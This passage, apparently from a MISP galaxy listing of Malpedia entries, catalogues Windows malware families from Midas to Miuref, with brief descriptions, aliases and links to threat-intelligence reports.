https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/mantis-palestinian-attacks

https://research.checkpoint.com/apt-attack-middle-east-big-bang/
http://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/
http://blog.talosintelligence.com/2017/06/palestine-delphi.html
https://blog.talosintelligence.com/2022/02/arid-viper-targets-palestine.html

Midas

This malware written in C# is a variant of the Thanos ransomware family and emerged in October 2021 and is obfuscated using SmartAssembly. In 2022, ThreatLabz analysed a report of Midas ransomware was slowly deployed over a two month period (ZScaler). This ransomware features also its own data leak site as part of its double extortion strategy.

The tag is: *misp-galaxy:malpedia="Midas"*

Midas is also known as:

Table 4461. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.midas
https://news.sophos.com/en-us/2022/01/25/windows-services-lay-the-groundwork-for-a-midas-ransomware-attack/
https://www.zscaler.com/blogs/security-research/midas-ransomware-tracing-evolution-thanos-ransomware-variants
https://securityboulevard.com/2022/03/midas-ransomware-tracing-the-evolution-of-thanos-ransomware-variants/

Mikoponi

The tag is: *misp-galaxy:malpedia="Mikoponi"*

Mikoponi is also known as:

Table 4462. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mikoponi
https://www.anomali.com/blog/targeted-ransomware-activity

Milan

The tag is: *misp-galaxy:malpedia="Milan"*

Milan is also known as:

Table 4463. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.milan
https://www.clearskysec.com/wp-content/uploads/2021/08/Siamesekitten.pdf
https://www.prevailion.com/latest-targets-of-cyber-group-lyceum/

MILKMAID

The tag is: *misp-galaxy:malpedia="MILKMAID"*

MILKMAID is also known as:

Table 4464. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.milkmaid
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

Milum

In August 2019, Kaspersky Labs discovered a malware they dubbed Milum (naming based on internal file name fragments) when investigating an operation they named WildPressure. It is written in C++ using STL, primarily to parse JSON. Functionality includes bidirectional file transmission and remote command execution.

The tag is: *misp-galaxy:malpedia="Milum"*

Milum is also known as:

Table 4465. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.milum
https://securelist.com/wildpressure-targets-industrial-in-the-middle-east/96360/
https://securelist.com/wildpressure-targets-macos/103072/
https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf

mim221

The tag is: *misp-galaxy:malpedia="mim221"*

mim221 is also known as:

Table 4466. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.mim221
https://www.sentinelone.com/labs/operation-tainted-love-chinese-apts-target-telcos-in-new-attacks/

Mimic Ransomware

According to PCrisk, Mimic is a ransomware-type program. Malware within this classification is designed to encrypt data and demand ransoms for decryption. Evidence suggests that Mimic is based on the leaked CONTI ransomware builder. Mimic campaigns have been observed targeting English and Russian speaking users.

The tag is: *misp-galaxy:malpedia="Mimic Ransomware"*

Mimic Ransomware is also known as:

Table 4467. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mimic
https://thedfirreport.com/2025/05/19/another-confluence-bites-the-dust-falling-to-elpaco-team-ransomware/
https://www.securonix.com/blog/securonix-threat-research-security-advisory-new-returgence-attack-campaign-turkish-hackers-target-mssql-servers-to-deliver-domain-wide-mimic-ransomware/
https://thedfirreport.com/2025/05/19/another-confluence-bites-the-dust-falling-to-elpaco-team-ransomware/#indicators
https://www.trendmicro.com/en_us/research/23/a/new-mimic-ransomware-abuses-everything-apis-for-its-encryption-p.html

MimiKatz

Varonis summarizes Mimikatz as an open-source application that allows users to view and save authentication credentials like Kerberos tickets. Benjamin Delpy continues to lead Mimikatz developments, so the toolset works with the current release of Windows and includes the most up-to-date attacks.

Attackers commonly use Mimikatz to steal credentials and escalate privileges: in most cases, endpoint protection software and anti-virus systems will detect and delete it. Conversely, pentesters use Mimikatz to detect and exploit vulnerabilities in your networks so you can fix them.

The tag is: *misp-galaxy:malpedia="MimiKatz"*

MimiKatz is also known as:

Table 4468. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.mimikatz
https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf
https://www.slideshare.net/yurikamuraki5/active-directory-240348605
https://www.secureworks.com/blog/ransomware-deployed-by-adversary
https://news.sophos.com/en-us/2021/05/18/the-active-adversary-playbook-2021/?cmp=37153
https://www.breachquest.com/conti-leaks-insight-into-a-ransomware-unicorn/
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/locked-loaded-and-in-the-wrong-hands-legitimate-tools-weaponized-for-ransomware-in-2021
https://unit42.paloaltonetworks.com/atoms/obscureserpens/
https://www.esentire.com/security-advisories/ransomware-hackers-attack-a-top-safety-testing-org-using-tactics-and-techniques-borrowed-from-chinese-espionage-groups
https://unit42.paloaltonetworks.com/trigona-ransomware-update/
https://www.infinitumit.com.tr/apt-35/
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage
https://unit42.paloaltonetworks.com/north-korean-threat-group-play-ransomware/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/witchetty-steganography-espionage
https://www.theta.co.nz/news-blogs/cyber-security-blog/snakes-ladders-the-offensive-use-of-python-on-windows/
https://awakesecurity.com/blog/catching-the-white-stork-in-flight/
https://www.secureworks.com/research/threat-profiles/gold-drake
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos
https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/
https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers
https://www.mandiant.com/resources/blog/alphv-ransomware-backup
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom
https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe/
https://www.ic3.gov/Media/News/2021/210527.pdf
https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations
http://www.secureworks.com/research/threat-profiles/gold-franklin

https://volatility-labs.blogspot.com/2021/10/memory-forensics-r-illustrated.html

https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/

https://asec.ahnlab.com/en/47455/

https://www.rapid7.com/blog/post/scattered-spider-rapid7-insights-observations-and-recommendations/

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-009.pdf

https://www.accenture.com/us-en/blogs/security/ransomware-hades

https://www.matteomalvica.com/blog/2020/01/30/mimikatz-lsass-dump-windg-pykd/

https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-china-ngo-government-attacks

https://securelist.com/the-sessionmanager-iis-backdoor/106868/

https://www.cisa.gov/sites/default/files/2023-09/aa23-250a-apt-actors-exploit-cve-2022-47966-and-cve-2022-42475.pdf

http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa

https://www.splunk.com/en_us/blog/security/you-bet-your-lsass-hunting-lsass-access.html

https://paraflare.com/attack-lifecycle-detection-of-an-operational-technology-breach/

https://www.verfassungsschutz.de/download/broschuere-2021-01-bfv-cyber-brief-2021-01.pdf

https://www.sentinelone.com/blog/detecting-a-rogue-domain-controller-dcshadow-attack/

https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis

https://hub.dragos.com/hubfs/116-Whitepapers/Dragos_Intel_WP_InitAccess-IndEnvirons-Final.pdf

https://www.f-secure.com/content/dam/f-secure/en/consulting/our-thinking/collaterals/digital/f-secure-consulting-incident-readiness-proactive-response-guide-2020.pdf

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-007.pdf

https://www.cisa.gov/uscert/ncas/alerts/aa22-152a

https://labs.f-secure.com/blog/catching-lazarus-threat-intelligence-to-real-detection-logic-part-two

https://www.secureworks.com/research/threat-profiles/cobalt-hickman

https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Vorfaelle/Exchange-Schwachstellen-2021/MSExchange_Schwachstelle_Detektion_Reaktion.pdf

https://bitdefender.com/files/News/CaseStudies/study/332/Bitdefender-Whitepaper-Chafer-creat4491-en-EN-interactive.pdf

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/microsoft-exchange-server-protection

https://www.securonix.com/blog/from-cobalt-strike-to-mimikatz-slowtempest/

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/

https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta
https://attack.mitre.org/groups/G0034
https://us-cert.cisa.gov/ncas/alerts/aa20-275a
https://www.rsa.com/content/dam/en/white-paper/the-shadows-of-ghosts-carbanak-report.pdf
https://attack.mitre.org/groups/G0096
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx
https://www.secureworks.com/research/threat-profiles/tin-woodlawn
https://www.secureworks.com/research/threat-profiles/bronze-vinewood
https://www.ic3.gov/media/news/2020/200917-1.pdf
https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/
https://www.trendmicro.com/en_us/research/21/a/targeted-attack-using-chopper-aspx-web-shell-exposed-via-managed.html
https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf
https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-campaign-telecoms-asia-middle-east
https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments
https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout
https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/
https://attack.mitre.org/groups/G0011
https://www.infinitumit.com.tr/en/conti-ransomware-group-behind-the-karakurt-hacking-team/
https://www.devo.com/blog/detect-and-investigate-hafnium-using-devo/
https://unit42.paloaltonetworks.com/operation-diplomatic-specter/
http://blog.gentilkiwi.com/securite/un-observateur-evenements-aveugle
https://www.secureworks.com/research/bronze-vinewood-targets-supply-chains
<a href="https://noticeofpleadings.com/nickel/<mark>">https://noticeofpleadings.com/nickel/</mark>
https://www.welivesecurity.com/2022/09/06/worok-big-picture/

https://www.mandiant.com/resources/unc215-chinese-espionage-campaign-in-israel

https://blog.talosintelligence.com/uat-5918-targets-critical-infra-in-taiwan/

https://i.blackhat.com/USA-20/Thursday/us-20-Chen-Operation-Chimera-APT-Operation-Targets-Semiconductor-Vendors.pdf

https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/

https://blog.xpnsec.com/exploring-mimikatz-part-1/

https://www.ic3.gov/Media/News/2021/210823.pdf

https://www.hvs-consulting.de/lazarus-report/

https://blogs.blackberry.com/en/2022/09/the-curious-case-of-monti-ransomware-a-real-world-doppelganger

https://securelist.com/the-lazarus-group-deathnote-campaign/109490/

https://thedfirreport.com/2025/05/19/another-confluence-bites-the-dust-falling-to-elpaco-team-ransomware/

http://www.secureworks.com/research/threat-profiles/gold-drake

https://www.accenture.com/us-en/blogs/cyber-defense/double-extortion-campaigns

https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html

https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/operation-harvest-a-deep-dive-into-a-long-term-campaign/

https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf

https://5851803.fs1.hubspotusercontent-na1.net/hubfs/5851803/Russian%20Ransomware%20C2%20Network%20Discovered%20in%20Censys%20Data.pdf

https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/

https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html

https://github.com/gentilkiwi/mimikatz

https://symantec-blogs.broadcom.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions

https://twitter.com/inversecos/status/1456486725664993287

http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-china-ngo-government-attacks

https://www.secureworks.com/research/samsam-ransomware-campaigns

https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html

https://www.trendmicro.com/en_us/research/22/k/hack-the-real-box-apt41-new-subgroup-earth-longzhi.html

https://ti.qianxin.com/blog/articles/Operation-OceanStorm:The-OceanLotus-hidden-under-the-abyss-of-the-deep/

https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass

https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/

https://attackiq.com/2022/06/03/attack-graph-response-to-us-cert-aa22-152a-karakurt-data-extortion-group/

https://www.secureworks.com/research/threat-profiles/bronze-atlas

https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/

https://thedfirreport.com/2025/05/19/another-confluence-bites-the-dust-falling-to-elpaco-team-ransomware/#indicators

https://www.trendmicro.com/en_us/research/21/i/examining-the-cring-ransomware-techniques.html

https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf

https://securelist.com/apt41-in-africa/116986/

https://www.crowdstrike.com/blog/overwatch-elite-call-escalation-vital-to-containing-attack/

https://www.intrinsec.com/apt27-analysis/

https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions

https://asec.ahnlab.com/ko/39682/

https://blog.bushidotoken.net/2024/09/the-russian-apt-tool-matrix.html

https://asec.ahnlab.com/en/56236/

https://www.cisa.gov/uscert/sites/default/files/publications/AA22-152A_Karakurt_Data_Extortion_Group.pdf

https://assets.virustotal.com/reports/2021trends.pdf

http://www.secureworks.com/research/threat-profiles/gold-kingswood

https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf

https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5758557d-6e3a-4174-90f3-fa92a712ecd9&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments

https://twitter.com/swisscom_csirt/status/1354052879158571008

https://www.mandiant.com/resources/mandiant-red-team-emulates-fin11-tactics

https://www.wired.com/story/how-mimikatz-became-go-to-hacker-tool/

https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html

https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html

https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east

https://www.secureworks.com/research/threat-profiles/gold-kingswood

https://ics-cert.kaspersky.com/media/KASPERSKY_Steganography_in_targeted_attacks_EN.pdf
https://www.microsoft.com/security/blog/2021/11/18/iranian-targeting-of-it-sector-on-the-rise/
https://unit42.paloaltonetworks.com/stately-taurus-attacks-se-asian-government/
https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks
https://www.zdnet.com/article/fbi-says-an-iranian-hacking-group-is-attacking-f5-networking-devices/
https://www.verfassungsschutz.de/embed/broschuere-2020-06-bfv-cyber-brief-2020-01.pdf
https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis
https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/
https://asec.ahnlab.com/ko/56256/
https://blog.reversinglabs.com/blog/threat-analysis-follina-exploit-powers-live-off-the-land-attacks
https://www.crowdstrike.com/blog/credential-theft-mimikatz-techniques/
https://www.varonis.com/blog/hive-ransomware-analysis
https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/?utm_source=rss&utm_medium=rss&utm_campaign=apt-group-targeting-governmental-agencies-in-east-asia
https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayling-taiwan-cyber-attacks
https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayfly-china-sidewalk-malware
http://www.secureworks.com/research/threat-profiles/gold-burlap

Mindware

Ransomware, potential rebranding of win.sfile.

The tag is: *misp-galaxy:malpedia="Mindware"*

Mindware is also known as:

Table 4469. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.mindware
https://www.sentinelone.com/blog/from-the-front-lines-another-rebrand-mindware-and-sfile-ransomware-technical-breakdown/

MINEBRIDGE

The tag is: *misp-galaxy:malpedia="MINEBRIDGE"*

MINEBRIDGE is also known as:

- GazGolder

Table 4470. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.minebridge
https://www.zscaler.com/blogs/security-research/demystifying-full-attack-chain-minebridge-rat
https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html
https://www.bleepingcomputer.com/news/security/windows-finger-command-abused-by-phishing-to-download-malware/
https://blog.morphisec.com/minebridge-on-the-rise-sophisticated-delivery-mechanism
https://www.zscaler.com/blogs/security-research/return-minebridge-rat-new-ttps-and-social-engineering-lures
https://labs.sentinelone.com/breaking-ta505s-crypter-with-an-smt-solver/

MiniASP

The tag is: *misp-galaxy:malpedia="MiniASP"*

MiniASP is also known as:

Table 4471. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.miniasp
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

MINIBIKE

According to Mandiant, this is a custom backdoor that provides a more flexible code-execution interface and enhanced reconnaissance features compared to MINIBIKE.

The tag is: *misp-galaxy:malpedia="MINIBIKE"*

MINIBIKE is also known as:

Table 4472. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.minibike
https://www.mandiant.com/resources/blog/suspected-iranian-unc1549-targets-israel-middle-east
https://catalyst.prodaft.com/public/report/modus-operandi-of-subtle-snail/overview#heading-1000
0[https://catalyst.prodaft.com/public/report/modus-operandi-of-subtle-snail/overview#heading-1000
0]

miniBlindingCan

miniBlindingCan is an HTTP(S) orchestrator.

It is a variant of the BlindingCan RAT, having the same command parsing logic, but supporting only a small subset of commands available previously. The main operations are the update of the malware configuration, and the download and execution of additional payloads from the attackers' C&C.

The miniBlindingCan malware was used in Operation DreamJob attacks against aerospace and media companies in Q2-Q3 2022.

The tag is: *misp-galaxy:malpedia="miniBlindingCan"*

miniBlindingCan is also known as:

- AIRDRY.V2
- EventHorizon

Table 4473. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.miniblindingcan
https://www.welivesecurity.com/en/eset-research/lazarus-luring-employees-trojanized-coding-challenges-case-spanish-aerospace-company/
https://www.microsoft.com/security/blog/2022/09/29/zinc-weaponizing-open-source-software/
https://www.virusbulletin.com/uploads/pdf/conference/vb2023/papers/Lazarus-campaigns-and-backdoors-in-2022-2023.pdf
https://www.mandiant.com/resources/blog/dprk-whatsapp-phishing

MiniBrowse

The tag is: *misp-galaxy:malpedia="MiniBrowse"*

MiniBrowse is also known as:

Table 4474. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.minibrowse
https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/

MINIBUS

According to Mandiant, this is a custom backdoor that provides a more flexible code-execution interface and enhanced reconnaissance features compared to MINIBIKE.

The tag is: *misp-galaxy:malpedia="MINIBUS"*

MINIBUS is also known as:

Table 4475. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.minibus
https://www.mandiant.com/resources/blog/suspected-iranian-unc1549-targets-israel-middle-east

MiniDuke

The MiniDuke toolset consists of multiple downloader and backdoor components

The tag is: *misp-galaxy:malpedia="MiniDuke"*

MiniDuke is also known as:

Table 4476. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.miniduke
https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/
https://www.secureworks.com/research/threat-profiles/iron-hemlock
https://research.checkpoint.com/2022/native-function-and-assembly-code-invocation/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/
https://cybergeeks.tech/how-to-defeat-the-russian-dukes-a-step-by-step-analysis-of-miniduke-used-by-apt29-cozy-bear/
https://www.fireeye.com/blog/threat-research/2013/02/its-a-kind-of-magic-1.html
https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/
https://www.circl.lu/files/tr-14/circl-analysisreport-miniduke-stage3-public.pdf

MiniJunk

The tag is: *misp-galaxy:malpedia="MiniJunk"*

MiniJunk is also known as:

Table 4477. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.minijunk
https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/

MiniPocket

The tag is: *misp-galaxy:malpedia="MiniPocket"*

MiniPocket is also known as:

Table 4478. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.minipocket
https://www.microsoft.com/en-us/security/blog/2024/12/04/frequent-freeloader-part-i-secret-blizzard-compromising-storm-0156-infrastructure-for-espionage/

MiniStealer

The tag is: *misp-galaxy:malpedia="MiniStealer"*

MiniStealer is also known as:

Table 4479. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ministealer
https://blog.cyble.com/2022/08/29/mini-stealer-possible-predecessor-of-parrot-stealer/

miniTypeFrame

miniTYPEFRAME is a variant of TYPEFRAME, a RAT for Windows.

Its functionality is reduced to serve mostly as a proxy module. Its commands are indexed by 16-bit integers, usually in the range 0x8027–0x8044.

The tag is: *misp-galaxy:malpedia="miniTypeFrame"*

miniTypeFrame is also known as:

Table 4480. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.minitypeframe
https://www.cisa.gov/news-events/analysis-reports/ar18-165a

MintStealer

The tag is: *misp-galaxy:malpedia="MintStealer"*

MintStealer is also known as:

Table 4481. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mintstealer
https://twitter.com/ViriBack/status/1610393842787704835
https://www.cyfirma.com/research/mint-stealer-a-comprehensive-study-of-a-python-based-information-stealer/
https://wazuh.com/blog/how-wazuh-detects-and-responds-to-mint-stealer/

Mirage

The tag is: *misp-galaxy:malpedia="Mirage"*

Mirage is also known as:

Table 4482. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mirage
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://www.secureworks.com/research/threat-profiles/bronze-palace
https://st.drweb.com/static/new-www/news/2020/july/Study_of_the_APT_attacks_on_state_institutions_in_Kazakhstan_and_Kyrgyzstan_en.pdf
https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/

MirageFox

The tag is: *misp-galaxy:malpedia="MirageFox"*

MirageFox is also known as:

Table 4483. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.miragefox
https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/

Mirai (Windows)

The tag is: *misp-galaxy:malpedia="Mirai (Windows)"*

Mirai (Windows) is also known as:

Table 4484. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mirai
https://www.incapsula.com/blog/new-mirai-variant-ddos-us-college.html
https://dev.azure.com/Mastadamus/Mirai%20Botnet%20Analysis/_wiki/wikis/Mirai-Botnet-Analysis.wiki/12/Anatomy-of-An-Mirai-Botnet-Attack
https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf
https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/
https://unit42.paloaltonetworks.com/moobot-d-link-devices/
https://assets.virustotal.com/reports/2021trends.pdf
https://securelist.com/blog/research/77621/newish-mirai-spreader-poses-new-risks/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tough-times-for-ukrainian-honeypot/
https://twitter.com/PhysicalDrive0/status/830070569202749440
https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/

MirrorBlast

According to Minerva Labs, MirrorBlast malware is a trojan that is known for attacking users' browsers. It usually pretends to be a legitimate browser add-on however it has now evolved additional capabilities, whereby other malwares are installed simultaneously. Recently, this trojan is thought to have tentative links to TA505 and PYSA groups.

The tag is: *misp-galaxy:malpedia="MirrorBlast"*

MirrorBlast is also known as:

Table 4485. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mirrorblast

https://www.proofpoint.com/us/blog/threat-insight/whatta-ta-ta505-ramps-activity-delivers-new-flawedgrace-variant
https://www.proofpoint.com/us/daily-ruleset-update-summary-20210924
https://threatresearch.ext.hp.com/mirrorblast-and-ta505-examining-similarities-in-tactics-techniques-and-procedures/
https://blog.morphisec.com/explosive-new-mirrorblast-campaign-targets-financial-companies
https://frsecure.com/blog/the-rebol-yell-new-rebol-exploit/

MirrorKey

According to Trend Micro, this is a loader for win.transbox, used by threat actor Earth Yako.

The tag is: *misp-galaxy:malpedia="MirrorKey"*

MirrorKey is also known as:

Table 4486. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mirrorkey
https://www.trendmicro.com/en_us/research/23/b/invitation-to-secret-event-uncovering-earth-yako-campaigns.html

Misdat

The tag is: *misp-galaxy:malpedia="Misdat"*

Misdat is also known as:

Table 4487. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.misdat
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf

Misfox

The tag is: *misp-galaxy:malpedia="Misfox"*

Misfox is also known as:

- Dromedan
- MixFox
- ModPack

Table 4488. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.misfox

Misha

Undocumented information stealer targeting multiple browsers and cryptocurrences. Internal project name appears to be "misha".

The tag is: *misp-galaxy:malpedia="Misha"*

Misha is also known as:

Table 4489. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.misha
https://bazaar.abuse.ch/sample/efab8bfe43de6edf96f9451a5a2cc15017cfc5c88f81b46b33e6ba5c7e2d7a7b/
https://blog.bushidotoken.net/2022/11/detecting-and-fingerprinting.html

Mispadu

According to ESET Research, Mispadu is an ambitious Latin American banking trojan that utilizes McDonald's malvertising and extends its attack surface to web browsers. It is used to target the general public and its main goals are monetary and credential theft. In Brazil, ESET has seen it distributing a malicious Google Chrome extension that attempts to steal credit card data and online banking data, and that compromises the Boleto payment system.

The tag is: *misp-galaxy:malpedia="Mispadu"*

Mispadu is also known as:

- URSA

Table 4490. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mispadu
https://perception-point.io/blog/manipulated-caiman-the-sophisticated-snare-of-mexicos-banking-predators-technical-edition/
https://jmp-esp.org/2025/03/30/ursa-mispadu/
https://blog.scilabs.mx/cyber-threat-profile-malteiro/

<a href="https://seguranca-informatica.pt/ursa-trojan-is-back-with-a-new-dance/<mark>.YyXEkaRBzIU">https://seguranca-informatica.pt/ursa-trojan-is-back-with-a-new-dance/</mark>.YyXEkaRBzIU
https://seguranca-informatica.pt/threat-analysis-the-emergent-ursa-trojan-impacts-many-countries-using-a-sophisticated-loader/
https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/
https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/mispadu-banking-trojan-resurfaces

MISTCLOAK

Mandiant associates this with UNC4191, this malware decrypts and runs DARKDEW.

The tag is: *misp-galaxy:malpedia="MISTCLOAK"*

MISTCLOAK is also known as:

- HIUPAN

Table 4491. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mistcloak
https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia
https://news.sophos.com/en-us/2022/11/03/family-tree-dll-sideloading-cases-may-be-related/

MISTPEN

According to Mandiant, MISTPEN is a lightweight backdoor written in C whose main functionality is to download and execute Portable Executable (PE) files. The backdoor is a modification of the open-source Notepad++ binhex plugin v2.0.0.1 where the creation of a thread that executes the malicious code has been added to the DllMain function.

The tag is: *misp-galaxy:malpedia="MISTPEN"*

MISTPEN is also known as:

Table 4492. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mistpen
https://cloud.google.com/blog/topics/threat-intelligence/unc2970-backdoor-trojanized-pdf-reader?hl=en
https://securelist.com/lazarus-new-malware/115059/

https://www.orangecyberdefense.com/global/blog/cert-news/a-pain-in-the-mist-navigating-operation-dreamjobs-arsenal

MISTYVEAL

The tag is: *misp-galaxy:malpedia="MISTYVEAL"*

MISTYVEAL is also known as:

Table 4493. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mistyveal
https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/
https://www.epicturla.com/previous-works/hitb2020-voltron-sta

Miuref

The tag is: *misp-galaxy:malpedia="Miuref"*

Miuref is also known as:

Table 4494. Table References

Links
